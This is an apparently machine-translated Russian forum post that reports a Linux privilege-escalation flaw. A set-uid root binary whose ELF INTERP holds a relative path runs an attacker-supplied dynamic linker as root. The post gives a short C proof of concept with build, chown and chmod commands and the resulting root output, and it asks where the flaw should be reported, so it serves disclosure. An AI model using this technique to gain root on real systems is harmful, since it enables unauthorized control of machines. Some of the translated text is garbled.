Сочетание set-uid и относительного пути в разделе INTERP двоичного файла ELF очень опасно.
Я не совсем уверен, как и где следует сообщать об этой проблеме, но мне кажется, что это общая проблема безопасности, связанная с тем, как работает динамическое связывание в linux / glibc, поэтому позвольте мне объяснить, что это такое:
Подумайте о создании динамически связанного двоичного файла и указании относительного пути в разделе ELF INTERP (используя опцию --dynamic-linker gcc), чтобы вы могли распространять пользовательскую версию glibc вместе с вашим динамически связанным коммерческим приложением (где вы находитесьне разрешено статически связываться с glibc LGPL, но все же необходимо, чтобы ваш бинарный файл работал в разных дистрибутивах linux с разными версиями glibc.
Если вы добавили бинарный файл в root и поставили флаг set-uid наваш бинарный файл, он фактически становится руткитом.Поскольку он выполняется из другого каталога, он позволяет заменить исполняемый файл динамического компоновщика, который будет выполняться с правами root.
Чтобы продемонстрировать это, взгляните на следующий код C (issue.c):
#include <stdio.h>
//
// build with:
// gcc -DNAME=\"vulnarable\" -o issue -Wl,--dynamic-linker,.lib64/ld-linux-x86-64.so.2 issue.c
// sudo chown root issue
// sudo chmod u+s issue
// now build some code to be executed with root permissions (we use the same issue.c):
// mkdir -p .lib64/
// gcc -DNAME=\"rootkit\" -o .lib64/ld-linux-x86-64.so.2 --static issue.c
//
int main(int argc, char* argv[])
{
printf("(%s) euid:%d\n", NAME, geteuid());
}
Если вы теперь выполняете двоичный файл set-uid следующим образом
./issue
или даже просто делаете это
ldd issue
вместо того, чтобы получить то, что вы могли ожидать,Например:
(vulnarable) euid:0
вы получаете:
(rootkit) euid:0
Теперь дело в том, что вы можете заменить двоичный файл ld-linux-x86-64.so.6 на что угодно.
Подобные проблемы, по-видимому, были устранены, не разрешая $ ORIGIN в RPATH или игнорируя LD_LIBRARY_PATH, если установлен флаг set-uid.
Поэтому мне интересно, нужно ли игнорировать INTERP в ELF всякий раз, когда устанавливается флаг set-uid (т. Е. С помощью динамического компоновщика по умолчанию - /lib32/ld-linux.so.2 или / lib64 /ld-linux-x86-64.so.2)?
Как вы думаете, где это следует исправить или сообщить - в glibc или в ядре?